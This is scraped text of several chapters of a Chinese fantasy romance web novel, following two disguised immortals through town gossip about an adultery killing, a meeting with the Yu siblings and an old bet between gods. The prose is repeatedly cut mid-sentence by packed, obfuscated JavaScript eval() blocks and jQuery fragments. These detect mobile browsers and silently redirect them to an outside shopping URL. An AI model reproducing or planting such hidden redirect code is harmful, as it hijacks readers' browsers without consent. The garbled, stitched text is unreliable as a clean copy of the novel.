d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493754|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人了,什么前世的三品大官,这辈子不还是一个又穷又好色的种地的,我又没享到半点他前世官太太的福,只陪他丢了这一把摸屁股的脸!” 说着用拇指量着中指的指甲盖那么一捏,捏去老高眼前晃着:“那么个小水洼也能淹死人,说出去都没人信,别是色鬼上身压在他背上,压得他起不动了!” 老高见说不过荀娘子,再辩下去恐怕就要伤了和气,干脆坐下身去,缴筷投降:“行行行,我不与你说这个。” 璃音也见过田里那些挖来通水的小沟,最多就一个铁锹头那么宽,现在的望仙镇热得好似八月盛夏,那沟里蓄水的深度更是深不过一截小指,要说这里面淹死了人,确实荒唐,这时听荀娘子说什么“鬼上身压在背上”,她不禁悄悄掩了嘴,凑去摇光耳边,轻声道:“神君,会是彩秀么?” 桌上那个“姚”字很快就干了一半,摇光也偏过头来,将声音轻轻地拂过璃音耳边:“或许吧。” 嗓音轻柔,在璃音耳边拂起一丝微痒,她不禁向后缩了缩脑袋,心想:或许真是姚彩秀苦等三百年,终于等来她大伯的转世,也终于让他尝了尝跌在水里被淹死的滋味。 这可真是淑女报仇,三百年不晚了。 只是转世再报的仇,还算得上是报了仇吗? 这时换了一个堂倌,又过来上了一道蒸河蟹,一见着荀满,就跟见了鬼一样,一个筋软,就把手里的菜盘跌了,口里大声叫道:“这不是荀家那个死了的小子!” 店里其他桌上的人闻言,都纷纷往这边瞧了过来,有几个平时认得荀满的,都瞪直了眼,起身叫道:“可不就是那个荀满!” 酒楼里一下炸开了锅,有以为白日闹鬼吓晕了的,跟着又有装晕说被吓着了,要店家这顿不能算钱的,还有更多人都好奇地围了上来,七嘴八舌要问个究竟。 这倒让璃音记起,荀满在这座望仙镇里,也算得上是个名人呢。那些个墨客文人,不还专为着这件事,写了一首小词在坊间流传么? 望仙桥,小儿殇,父即死,母断肠。 如今除了望仙桥还在,倒只有“父即死”是验准的了。 想到此处,璃音不禁生出一个疑问:“那些个念诗作对的,还有帮着传唱的,个个都这样为荀满不忿,那当初怎么没人想着捐几个银子,好歹帮他把棺材买了。” 她把这话向老高问了,老高便又摇头哈哈大笑起来。 摇光很是记得他这副表情,上次他这样摇头大笑,就是在告诉自己望仙桥为什么会被造得那么高的时候。 老高笑了一阵,不紧不慢喝一口鱼汤,才道:“他们那些诗都是为自己做的,不是为小满做的。” 璃音又道:“那这镇上除了这些穷书生,不是还有好多好心的富商吗?” 望仙镇外出行商的很多,在外挣了钱,就都想着回馈故里,无论是捐资造桥,还是建办学堂,都十分慷慨。 老高这下不仅摇着头,连手也摇了起来,笑道:“他们啊,他们只捐名字能上簿子的!” 璃音听了,不免也觉得好笑,不禁用一根手指敲着桌面,轻声改起词来:“望仙桥,小儿慌,父淹死,母……” 摇光看眼前荀娘子笑花着眼,招待围拢过来的听客,大讲特讲着荀满这一段有惊无险的奇遇,他便也跟着璃音敲起桌面,接口道:“母欢畅!” 说着两人对望一眼,就都笑出了声来。 一会儿听人说马道长今早被发现死在坟地上了,璃音发出一声轻呼:“啊,马道长!” 昨晚他们离开坟地的时候,竟然所有人都忘记了地上还晕着一个失血过多、等人去救命的马道长! 摇光转着手中茶杯道:“他也死得不冤。” 绑走生人游魂,便与谋杀无异,他确实死得不冤。 这边正聚得热闹,突然听得一个堂倌在门口叫道:“哎呀!是大英雄来啦!那贼婆娘的案子判下来啦!” 26. 第25章 绿帽归乡 “陈老爷来这边坐。”堂倌笑脸迎着,把一个黑黄面皮、铁锅脸、蒜头鼻、水桶腰的中年男子迎了进来,那人身穿紫绸直裰,头戴一顶瓦楞帽子,约是三十多岁光景。 一进了店门,就甩出三大锭银子,丢去堂倌手里,喊道:“拿两条醉白鱼,两坛好酒,装几碟板鸭、肘子、鱼圆、肚丝,再切两斤熟牛肉,一并拿个食盒装了,弄仔细些,这些一会儿都要随我去牢里探我那杨兄弟。” 他说话时气出丹田,那水桶腰间系着的一条丝绦就随他肚皮收放的节奏,一上一下地勒动着。 “哪里能亏待了咱们杨义士!”堂倌嘻咧着嘴,收了银子,应了诺,欢欢喜喜地备菜打酒去了。 璃音被那肥肚子上一吸一动的腰带晃了眼,喝了口茶压了压下适才那一眼让心头泛起的腻,想那楚娘子如花般娇艳的人物,却插在了这样一坨肥腻腻的油猪肉上,那么她暗地里贪恋文昌帝君那般人才一表的好相貌,也实属人之常情了,不禁轻声感叹:“也难怪楚娘子要与文昌帝君私通。” 摇光听了,淡淡一哂,执壶去给璃音杯中添茶:“他也只是金玉其外。” 先前本来围着荀满的一大桌人,这时有一半都围去了陈天财那边,只听得陈天财哈哈大笑着,摸着自己堪比孕妇的肥大肚子,高声道:“这娘儿们不守妇道,当初就是看她相貌好些,娶得回来,哪想到脾气又大,破事又多,到了床上又跟个木头似的,一点不会伺候人,没趣没趣,却比不上我在芜州新娶的那个,说起话来吹出来的风都是软的香的,那个也叫娶一回老婆,真个是夜夜值千金。” 边说还边回味无穷地咂咂嘴。 璃音听着,又喝一口茶压压耳朵里冒出来的鸡皮疙瘩,道:“金玉其外好歹还有个金玉壳子,总还是比直接的一坨败絮强些。” 这时堂倌拎了两个大食盒出来,显是酒菜备齐了,陈天财就腆着肚子接过,又赏了堂倌几钱银子,就摆着步子出了酒楼,带着好酒好菜探视兄弟去了。 待陈天财走得远些,那边还围在一起的人群中突然有人说道:“你们都不知道么?那个楚雁儿昨天就死在狱中了。” 店里众人闻得此言,皆是一惊,静了一阵,忽有一人拍手叫道:“好!好!死得好!” 另有一人在人群里喊道:“牛老爹,你还知道些什么,快都给我们说说,那要下血污池的贼妇人是怎么死的?” 那被叫作牛老爹的就捋一把髭须,嘿嘿笑了一声,说道:“这事说来也有些奇了,我有个侄子在县衙里头当差,说那女的刚押进牢里,没挨到两刻钟就死了。” 有人问道:“却不是被牢头打死了?” 牛老爹找了个桌子坐下,立刻有人给他倒上一碗酒,他抿了一口,才晃着脑袋说道:“这事奇就奇在这里!那女的自在里头蹲着,哪曾有个牢头打她!是她自个儿忽然蹦起来,叫了一声,就望后一倒,自己死了。” 那给牛老爹斟酒的道:“这确实奇了。” “还有更奇的。” 牛老爹顿了顿,又捋两把髭须,才道:“当天晚上仵作过来验尸,一掀了席子,却发现那女人下面的骨头,没了。” 一人急道:“什么下面的骨头,老爹你倒是说清楚,到底是腿没了,还是脚没了?” 旁边一人高声笑道:“什么腿没了脚没了,想也是那用来会奸夫的地方的骨头没了。” 牛老爹也不说话,只嘿嘿笑着,晃了晃脑袋,将那一碗酒都吃进了肚里。 璃音本来对这桩油腻腻的家宅伦理大戏已没多少兴趣,但听到楚雁儿阴骨被盗,不由得想起在坟场里掘骨附身的骨灵来,便又默默竖起了耳朵,想要听个究竟。 她正倾耳凝神,却不想耳边突然爆起一声尖细怪腔:“会奸夫!会奸夫!” 原来是摇光的那只黄脸鹦鹉方才吃饱了,就在边上打了一会儿盹,这会子醒了,一睁眼,就又开始胡捡着听来的词乱叫。 荀二似是觉得有趣,也立刻拍手学着叫道:“会奸夫!会奸夫!” 荀满见围在自己身边的叔叔伯伯突然散了,都去围了另一个人,就也伸着脖子,去听那边的动静,听到这会儿,只听得云里雾里,挠挠头,向荀娘子道:“娘,什么是会奸夫的地方?” 这俩孩子一人一句语出惊人,吓得老高咳嗽几声,道:“荀娘子,看时辰,这会儿该送他们去学堂了吧。” 荀娘子连连点头,起身道:“对,对,夏姑娘,慕公子,大家都吃得差不多了,咱们回去吧。” 摇光望向璃音,用眼神询问:“走么?” 璃音还想再听听楚雁儿那根阴骨的下落,并不急着要走,于是轻轻摇了摇头,道:“我们再坐一会儿。” 荀娘子飞快打包着余下的酒菜:“也好,那我们先带着孩子走了。” 打包完就和老高一人捂着一个小孩的耳朵,一起匆匆逃离了这个越来越少儿不宜的地方。 酒楼里闹哄哄的,璃音也被吵得甚是烦躁,若不是还有消息要听,真想跟着他们一起逃了,那黄脸鹦鹉还兀自在她耳边“会奸夫!会奸夫!”地叫个不停,她有些头痛地揉揉眉心,不由得想起自己在玉横里待过的那三百年来。 她与三百这个数似是十分有缘。 在她凡人身死,□□尽毁之时,她的游魂曾被那白玉葫芦摄了去,不得不在里面住了三百年。那时玉横魔性正盛,到处吞食生魂,那些魂儿被它吃进了肚子,就在里面哭作一团,整日诉苦,哭了几天,就哭成一泡血水,新被吞进来的魂儿不知那是什么,就踩着那滩红浆,又哭作一团。 璃音就从袖子上扯了两条绢布,塞上耳朵,从怀里掏出一大包绿豆,就开始用豆子拼起那天上的万千星象来,拼了三百年,终于拼得那葫芦受不了了,不仅把她吐了出来,还送了她一副完好的仙身。 出来时,西王母又惊又喜:“小仙子,是你把它净化了?”从此就把她留在了身边。 那时她才知道这个葫芦原是西王母用来盛装不死药的,岂料它日久通灵,竟成了一块噬魂魔玉,为祸一方,又阴差阳错被她净化,竟是白送了她一个极大功德,助她一跃成仙。 她确实算得上是耐性极好的,可以不跟任何人说话,一个人拼绿豆自娱自乐三百年,丝毫不感到寂寞,但此刻少了布条塞耳,那些个乱糟糟的腌臜事,混在一片乱糟糟的起哄声里,如同一海的污水,一浪又一浪地往她耳朵里冲,在这酒楼里的一时半刻,竟比在玉横葫芦里的三百年还难熬了。 忽觉身边有人袍袖一挥,她扭头一看,却正好对上那只黄脸鹦鹉的横眼一瞪,然后就见它极不情愿地扇起翅膀,扑棱两下,寻了一间窗子,飞走了。 原来是摇光让它回紫宫去了。 小东西飞过窗沿时还又回头冲璃音瞪了一眼,仿佛是被她赶走的似的。 这聒噪小鸟一走,璃音顿觉耳边清爽了许多,头也不那么痛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509402|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她不禁向身边的摇光望了望:难道是他又一次看透了自己所想?知道自己怕吵,才把它送走的么? 但见他只是斜倚着靠背,一只手在桌上懒懒收拾着被那黄脸鹦鹉啄得四溅在外的一碟绿豆,似乎他做过和在做的一切都只是随手做了,并没什么深意,也无需任何人来解读任何的深意。 便在这时,人群忽然一阵吵嚷,却是陈天财又回酒楼里来了,不见了手上两个大食盒,却是携来一个身有九尺,腰细膀阔的壮汉,进门就喊堂倌道:“有什么好吃的,通通上了来,再来两壶好酒!都拿来管待我这杨义弟!” 说着用力拍拍那壮汉的肩膀,显是极为亲热,只他身子矮胖,拍那杨肃的肩膀时,还要伸直了手臂去够,又显得有几分滑稽。 店里一人问道:“杨肃,你怎么出得来,你的事判了?” 杨肃跟着陈天财去了一张大桌子前坐下,他这时头脸整洁,没了血污,也少了戾气,身上穿一件宝蓝新衣,想也是他的好兄弟陈天财带与他的,再有这位好兄弟肥鼓鼓的身子在旁边一衬,更是把杨肃衬得是身躯凛凛,相貌堂堂。 他此刻双目炯炯,一身凌然,向那义兄一拱手,朗声道:“多亏了大哥不计较,使了多少银子,保我出来,知县情知我杨肃捉奸杀奸不假,又有大哥一力作保,就轻写了状子,只挨得几个板子,这案子就算这么结了。” 这时堂倌端了酒菜上来,一边布着菜,一边笑说道:“谁不知杨爷做的是义举,哪个敢真的罚得重了。” 旁边桌有人道:“陈老爷,你可知道你老婆昨儿个已死在牢里了。” 那陈天财一点不像死了老婆的,斟着酒哈哈笑道:“刚才去衙门里听见说了,那贼泼妇平日里除了会管我要钱,还会干个鸟事?死了正好给我新媳妇腾个地方住!” 店里众人听了,就也跟着哈哈笑成一片。 杨肃笑完了,道:“说到那贼婆娘,我这里还有个笑话要讲给大哥听。” 说着拿起酒杯闷一口酒,看大家都把耳朵竖了过来,继续说道:“那日在堂上,我和知县说了她和那小厮这般那般的丑事,那淫/妇辨无可辨,就发了失心疯,大叫:‘他可以娶两个妻,我凭什么不能有两个夫’,你们说这好笑不好笑。” 众人果然又是一阵哄笑,陈天财笑着笑着,就拍桌喊道:“那个姓陆的,我当初看他没钱下葬亲爹,好心买他回来做个小厮,却是招个苍蝇放来蜜罐里,专来臭我的蜜,我真日/他老娘!” 璃音听着酒楼里的这些动静,越听越没意思,本来一直都没有笑过,听到这里,却忽然笑了,她身子向前倾了倾,伸手拨弄起桌上那一碟绿豆,拨了几下,忽道:“你说他们好汉骂人,为什么都要去办别人的老娘?” 她这话说得粗俗,但语气里却全无粗俗之意,只有满腔真心求教的不解,摇光听了,眼底立时漾开了一丝笑意。 璃音见他但笑不语的样子,又将一颗豆子拨了拨,继续说道:“他既是跟文昌帝君有仇怨,为什么不说要对文昌帝君做这样脱裤子的事,却要对他老娘做呢?帝君的老娘又没有惹他。” 话音刚落,就听身后噗地一声响,璃音敏锐偏头,就见一道水柱从面旁射过,像是谁不小心喷出的一口酒水。 接着身后一个有些耳熟的男声响起:“一个姑娘家,满嘴说的什么好词,难不难听!” 璃音倏地回头,就见到了一张熟悉的、好看的、又讨厌的脸。 27. 第26章 虞家姐弟 依旧是那件浅蓝春衫,依旧是那样阴冷的眉眼,也依旧是那般寒气森森的眼神,只是现在他那本就不善的眸色里,又多添了几分讥讽。这人坐在璃音背后的一桌,身边还坐着一个相貌与他有几分相似的年轻女子,一样的春衫佩剑,一般的柳眉杏眼,正一手轻搭在长剑上,一手掩了嘴在笑。 正是璃音在虞家村遇到过的那对虞家姐弟。 璃音一见那虞家弟弟便没好气,站起身来哼道:“怎么那个陈天财那样骂人大家都叫好,我不过重复一下就是难听了?” “阿言,我倒觉得夏姑娘说得不错。”姐姐虞宛初终于笑够了,放下袖子,她面色有些苍白,似带着几分病容,相近的长相,本该看起来比她弟弟还要阴冷,但因着眼角那几分还未褪尽的笑意,就让她整张脸都柔和生动起来了。 虞宛言见姐姐不站在自己这边,大为受挫,立时挂了脸,不满地嘟嘟哝哝:“阿姐,你是哪边的,怎么老帮着那女的说话!”面上终于带了些少年人该有的稚气天真。 璃音听虞宛初不向着弟弟,一下子来了劲,冲她亲亲热热地叫道:“虞姐姐!” “谁是你姐姐!你干么抢别人姐姐,无耻!”虞宛言果然立刻黑了脸。 摇光本来一直不动声色地靠椅坐着,这时忽然轻轻挥袖,将方才射来的茶水尽数扬至半空,头也不回,运劲向后一甩,袖袍甩动间,哗的一声,那口茶水已被一滴不剩地抛落回了喷茶那人的杯中,这时他才回过头来,凉凉地向虞宛言投去一瞥,说道:“你的茶,别再洒了。” 虞宛言对上摇光这警告的一眼,将嘴唇紧紧抿了抿,没有做声,他向来被人说一句就要顶嘴十句,这时竟乖乖忍下了。 璃音却已把虞宛初拉来和自己一桌坐了,她听虞宛言激烈反对她喊姐姐,心道你越反对我越要叫,于是“嘻”地一笑,开口便是:“虞姐姐,虞夫人和她女儿怎样了,现下还好吧?” 虞宛初笑道:“多亏了夏姑娘,姑母和染棠妹妹的身子已都大好了,现在染坊有她们母女两个一起料理着,也一切都好。” 突然左边刺啦一声木头划地的声响,却是虞宛言冷着脸走了过来,刻意超大声地拽开一把椅子,挨着姐姐坐了下来,又把佩剑重重往桌上一放,砸出砰的一声,双眼却始终炯炯地盯紧了摇光,一坐下就问道:“这位是?” 璃音这才想起,自己还未给双方引见,忙拉过摇光,向姐弟两个介绍:“这位是……慕玿,慕公子。”她微一迟疑,还是替他用了假名,在凡间行走,终归还是假身份来得方便。 又向摇光道:“慕公子,这两位是虞宛初虞姐姐,和她弟弟虞宛言,他们应该是在宗门修习的弟子。” 说着转头向虞宛初道:“我还不曾得知,虞姐姐师承哪里?” 虞宛初不自觉用指腹轻摩了摩剑柄,微微笑道:“我们两个都拜在长云山且生观,云上真人门下,是随师父修炼的俗家弟子。” 且生观的云上真人?璃音在记忆里搜寻了一番,却并不曾听说过这个名号,但她成仙全凭机缘巧合,之前从未在凡间那些宗门里修习过,想自己不认得那些花里胡哨、名目众多的修仙门派也属寻常。 那边虞宛言忽道:“这位慕公子是你什么人?” 他自从坐下,一双眼睛就没从摇光身上离开过,这时突然转过头来,那眼里来不及收敛的两道精光腾地就向璃音射了过来,那灼灼的目光着实把璃音吓了一跳,心想这孩子怎么冰火两重天的,而且那眼里烧起火来怎么感觉更瘆人了,要不他还是一直阴暗下去吧…… 摇光终于向虞宛言抬了抬眼,似也察觉出他目光有异,但开口还是声音如常:“她是我的老师。” “老师?!”虞宛言跳起身来,看看摇光,又扭头看看璃音,仿佛全身每一根骨头都在说着不信,“你是他的老师?” 璃音心道自己这个老师虽然水分大了点,平日里并不曾教导过他什么,但好歹也是西王母亲封的,现下被虞宛言这么一质疑,也不服起来。摇光神君自是剑术卓然,心性也比自己端正,但若要论起魂术,自己也未必就当不得他的老师,倘若用玉横认真和他动起手来,谁输谁赢还不一定呢! 就用力点一点头,昂然道:“对啊,他就是我门下的学生,怎么了,不行吗?” 虞宛言睁大了眼睛,那神情就好像见到了皇帝指着路边一个乞丐说“那是我爹”,而那乞丐也点头挺胸说“是”一样,震惊,荒谬,不知道皇帝和乞丐哪个才是疯子。 他不可置信地道:“你是北斗第七天关摇光神君的老师?” 璃音闻言默默向摇光瞥去一眼:什么嘛,原来是认识的,不早说。 摇光只好微微摇头以示清白。 只听啪的一声,虞宛言从兜里掏出一本《神仙图鉴大全》拍在了桌上,他手去书角上一摸,就摸出其中折了角的那一页翻开,接着把那书向前一推,推去了摇光跟前:“这个画的难道不是慕公子?” 璃音凑过眼去一看,书页上画的那位神君穿一身冷蓝绣袍,身如长剑,目似朗星,脑后发带高扬,旁边一行大字:北斗第七天关破军星君摇光。 璃音摸着那画像啧啧称赞:“神君,你赖不掉了,这个确实画得像,你看这鼻子,这眼睛,都画得与你一模一样好看!”可比揽华公主床头贴的那张像样太多了。 “是我。”摇光垂目往那画上看了一眼,目光就游移去了璃音在那画中摇光身上到处乱摸的手上,“这位仙子也确实是我的老师。” 虞宛言仍是不信:“那她方才怎么喊你作慕公子。” 璃音翻看着手里那本《神仙图鉴大全》,头也不抬地道:“这个是他在人间用的名字。” “那也不对。”虞宛言自顾摇头,“师徒间哪有喊公子的,我在师门中排行第六,师父都喊我小六。” “只是一时还没叫顺口而已,他是我新收的学生,师门中排行……” 璃音侧头想了想,他在师门中自是应该排行老大,但叫他慕老大未免太难听了,于是干脆沿用了他在北斗中的星位排序:“……第七,是吧,小七?” 摇光听到“小七”这个称呼,顿了顿,点头道:“是。” 虞宛言这下无话可说了,直愣愣坐了回去,又呆呆出了一会儿神,就又恢复了之前那副阴冷的神情,目中迸射的精光又成了森森的寒气,直往璃音脸上戳:“能当神君的老师,本领一定是极大的了,不知小人有无机会得大仙师点拨一二。” “你没有机会了,小七是我最后一个关门弟子。” 璃音之所以爱用假名,烦的就是这个,若是人人都要来攀几句仙缘,那凡间事何时能了。 说话间她已把手中画册都翻了一遍,翻到了文昌帝君,昆仑山上的十位神巫,翻到了商止师兄,翻到了锦云商月,但就是没翻到自己,便有些意兴阑珊,不过想想这个时候,她也确实才上昆仑没几年,约摸是这图鉴还没来得及更新,便合了书,向虞宛初道:“虞姐姐,你们不是在虞家村的吗,怎么会到这里来的?” 虞宛初替弟弟将那本《神仙图鉴大全》收好,说道:“这次师父让我们下山,除了料理姑母家的事,也有意要我们在山下历练一阵子,我们听说最近伏龙山脚下的一个村子里频生乱事,便过来看看。” 虞宛言接口道:“是隔壁的龙溪村,听说一年里被盗了三十多座坟,我和阿姐都觉得有些蹊跷。”说着给姐姐倒了一杯茶。 璃音单手支起下巴,来了兴趣:“肯定不只是盗墓贼猖獗这么简单吧,怎么个蹊跷法?” “那些下墓之人盗走的,不是陪葬的珠宝。”虞宛初转了转手中茶杯,“而是死人的骸骨。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因他们的桌子离得窗近,这吆喝声便连同那炸鱼的香气一起,一阵一阵地扑了进来,璃音被勾动了馋虫,拉起虞宛初道:“虞姐姐,你吃过这里的炸鱼干了吗,特别好吃!咱们买点带走,一会儿去龙溪村的路上吃!”说着两人就挽了手直往外走。 虞宛言连忙放下喝了一半的茶水,提剑大喊:“你轻点拉我阿姐!”跟着快步追了上去。 只有摇光仍旧靠在椅背上,懒懒地坐着,也学璃音的样子,用手指轻轻拨弄桌上那一碟绿豆,半晌,旁边忽然坐下一个头戴斗笠的男子,那男子坐下后,鬼鬼祟祟往四下里张了一张,确认了没有别人看见自己,才慢悠悠给自己斟了一杯酒,嘿嘿笑道:“我一回紫宫里就听说,你被西王母打发下界陪个女娃娃过家家酒来啦?” “啊哟,竟然是真的!”他一手端着酒杯,一手狂拍大腿,“你看你在人家小姑娘面前装模作样的,你说我有多少年没看过这么好笑的事情了。” 摇光一把摘掉那人的斗笠,随手一捏,就捏成了一把齑粉扬了,然后轻轻错手拍了两下,把手心里沾上的粉拍落,继续拨弄起桌上那碟绿豆,哂道:“不及你在这小镇里当奸夫被人打杀来得好笑。” 就在这时,店里杨肃那桌忽然爆发出一阵喝彩:“杀得好!杀得好!” 原来他喝多了酒,起了兴,就跳上桌子,瞪红了眼,做起当日在巷子里勇猛砍杀奸夫的动作来,惹得周围人一阵阵地叫好。 文昌此刻隐着仙身,凡人并瞧不见他,但觑见杨肃那般凶猛的模样,还是不由得缩了缩脖子。他虽是个帝君,却是个“文圣”,手上挥的是软毫文墨,笔下批的是利禄功名,不是砍头名单!可不像旁边坐着的这位损友,提的是寒铁冷剑,上面泼溅过不知多少魍魉魑魅的热血,此次历劫经历的这么一遭血腥,当真可算得上是文昌帝君漫漫仙途中最大的一桩阴影了。 “怎么,怕了?”摇光斜斜睨他一眼,“你在此间凡尘诸事已了,还回来做什么?” “我能怕他?”文昌直了直身子,“我是在这里掉了一样东西。” 摇光抬眸定定看他:“楚雁儿已经死了。” 文昌顿了半晌,搁下手中酒盏,忽然苦笑:“我知道,我是真的掉了一样东西。” 摇光目光在他脸上转了几转,脸上神色凝重起来:“你把文昌笔丢了?” 28. 第27章 昔年赌约 “你小声点!” 文昌笔可批天下学士官运文运,这一丢委实非同小可,文昌忙上来捂了摇光的嘴,小心往左右各探了一眼,见方才那句话未被人听了去,才放下心来,松了手,就又愁起眉来:“她平时在家作一些画,我就帮着在上面题几个字,那天我归位时被你一吓,走得匆忙,把笔给落在那宅子里了。” “既知晓丢在什么地方,你自去那宅子取回便是。”还不算是下落不明,摇光神色一缓,又懒懒靠回了椅背。 文昌叹气:“那宅子里若找得到,我也不至于还留在这里,不小心就给污了眼,看见你演的过家家了。” 说着就听窗外传来一个少女的声音:“老伯,这个又是什么?好香!也给我装两袋吧。”语调微甜,却不似糖水显腻,而是有如清泉敲玉,叮叮咚咚,让人想到奔流的山涧的那股甘洌清甜。 又听一个少年嗤道:“你是猪吗?要吃这么多。” 少女道:“一会儿我和虞姐姐两个人吃,你就在旁边看着,谁馋谁是猪!” 那少年哼道:“我和阿姐都要辟谷的,谁陪你吃这些!” “辟谷你还进酒楼。”少女似乎仰起了头,那声音都飘去了天上,“云上真人!云上真人你在不在云上看着?” “你!” 少年似要发怒,但刚叫了一个“你”字,就被一个柔婉女声劝住道:“阿言,别闹了。” 文昌听了这段墙角戏,又见摇光气定神闲的样子,忽然就想起昔年一段好笑的往事来,他这几日在这位好友面前,又是被凡人打杀,又是遗失了文昌笔,面子里子都没少丢,正好就借这事找补一番,于是他清了清喉咙,又摇一摇脑袋,笑道:“听他们说的这些,倒叫我想起来九百年前的瑶池宴上,咱俩打过一个挺没意思的赌。” 摇光桃花眼微眯,眼神飘去了窗外,笑道:“那么远的事,你还记得。” “那会儿你刚从人间历劫回来,脾气差得不得了,谁靠近了半步,都要被你骂个滚字。” 文昌端起酒杯,啧啧回忆:“你叫我滚,我就问你:‘摇光,到底要什么样的人,才能叫你开心,从此不要他滚。’你就说了个笑话出来,说:‘如果有个人,没有我的单子,就自己瞧出我不爱吃的一样东西,我就不要他滚。’我当时差点笑死,你那忌口单子挂出来,比人间过年时候家门口贴的对联还长,要猜中你吃什么,那是难了些,但要猜中一样你不吃的东西,不就和脸盆里面摸鱼一样,十个拿九个稳,你非要说世上没有这样的人,我就和你打了一个赌,赌在一千年内,一定有这样一个人,叫你再说不得滚。” 说着就摇头笑了起来:“岂料我那时却把这事想得简单了,我们这些个应星宿之数而诞的仙,却比不得那些有神父神母养大的仙胎,便是与人间那些凡胎也比不得,生来就有人抱着哄着,嘘寒问暖,咱们天生地养了几万年,哪里会有人闲的来关心你每天吃的什么,看来你说的那样人,终究是找不到了。” “不用费心给他买,他嘴刁着呢,油炸的不吃。”便在这时,窗外那少女清冽的嗓音又传了进来,“枣糕也不用,甜的好像也不吃。” 接下来的话便多了几分俏皮:“你这么孝顺我家小七,不如改拜他作师父好了。” 立刻就有个少年的声音呸道:“脸皮真厚,谁要当你的徒孙!” 文昌闻言却呆了一呆,一抬眼,就看见好友悠闲地靠在椅背上,目光落在窗外,一派似笑非笑、鬼迷日眼的模样,他腾地站起身来,一双眸光似电,狠狠将摇光攫住:“现在看来,这个赌,是我赢了?” 摇光极轻地眨一眨眼,收回视线,唇角压也压不住地微微翘起:“是我输了。” 文昌恨恨地咬起牙来,他提起这桩陈年赌约,原是要苦一苦他的心,却不想反让他显摆上了,自己近来的不幸固然令他挫败,但此时好友的幸运才真正使他崩溃,他用挑眉努力掩饰掉自己的崩溃,道:“我记得当时可是约定好了,赢的人可以差遣输的人办一件事,死生无论,不可推辞。” 说着随意往窗外一张,就迎面瞧见一个面若白玉的少女,正围在一个小贩的摊车前挑挑拣拣,他这一看,登时面色陡变,好似全身经脉都在这一瞬逆流,一股森冷的麻痒就沿着他的背脊蹿了上来,直蹿天灵盖。 当年那少女躺在一地血泊之中,破军牢牢贯刺她的心口,那鲜热的血仿佛怎么流也流不尽,浸红了她的衣衫、她的发丝、乃至身后抱她在怀里的那个人。 她就要死了,却还在轻轻地笑着,伸手点点那人僵硬的面颊,好像要去为他点出一个小小的梨涡,她说:“小七,不要难过啊,我不要你难过,我只要你好好记得我,还记得我说过的吗,离别有期,但我们终会相见的。” 文昌那日是去迎第一次历劫的好友归位的。 他的这位好友在战场上爱做前锋,残肢断臂、杀头溅血的事早已见惯了,他斩杀那些妖魔时总是没什么表情,既没有嗜血的兴奋,也没有多余的不忍。 但那一刻,他墨黑的长睫沾染几滴刺红,睫羽轻颤间,往眼下投去一团漆黑的、带血的阴影,映在他如纸惨白的一张脸上。 当少女的热血终于凉透,他抬眸,眼底翻涌上来的,是文昌从未见过的空洞与沉冷。 他轻轻抬手,带着满手的血污,搭上破军刻满繁复星纹的剑柄,握住。 “终会相见……我记得的,我会记得。” 风声止歇,星辰骤黯,破军寒光闪动,一柄长剑便贯穿了两人胸口。 文昌不知那日破军为何会钉入那少女的心口,他也永远不会知道了,因为摇光历完这惊天动地的一劫归位醒来后,就把那少女忘了个一干二净。 他不记得凡间的许多事,也不记得自己为何而死,回到紫宫后一切照旧,脸还是那样臭,脾气也还是那么大,依然每天都在找仙厨的茬。 只是他再也没有提起过那个少女。 可是…… 文昌呆望着眼前这个啃着炸鱼,正活生生立在小贩跟前的小姑娘。 这是什么情况? 转世? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534310|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替身?还是阴魂复活? 不管哪一种…… 忽听背后呼的一声风响,他回身一抓,就接住摇光抛来的一块星陨石,只听那扔石头的人说道:“这个我自然记得,算我欠你一件事,你想好了随时告诉我。” 嗓音带笑,显是心情甚佳。 文昌看他这副悠悠然的神色,不禁心中一动:他当年当真把什么都忘了吗?此时此刻外面那个挑着零嘴的小姑娘,都当真只是西王母一时兴起撮弄出的巧合,与这位神君无关吗? 他笑了笑,坐下身来,又给自己慢慢斟了一杯酒,状似不经意地开口道:“我这次下凡,才总算知道了你当年初次历劫的不易,要全然忘记那些事,果然很难吧?” 摇光似是没料到他会有这么一问,但只是微微怔了怔,就摇头轻笑道:“说来也怪,凡间的那些事,没过多久,我就不太能记得起来了。” 文昌盯死了摇光面上每一寸的神情动作,却依然找不出一丝他在说谎的证据,倒是被他接下来的一问唬得差点跌翻手里的酒盏:“文昌,你会忘了她么?我是说楚雁儿。” 他淡淡放下手中杯盏,用一种看透凡尘的语气,淡淡地道:“朱颜辞镜花辞树,相遇之后,总是分别,就当作人间艳遇一场罢了,有什么忘不忘的,倒是你……” 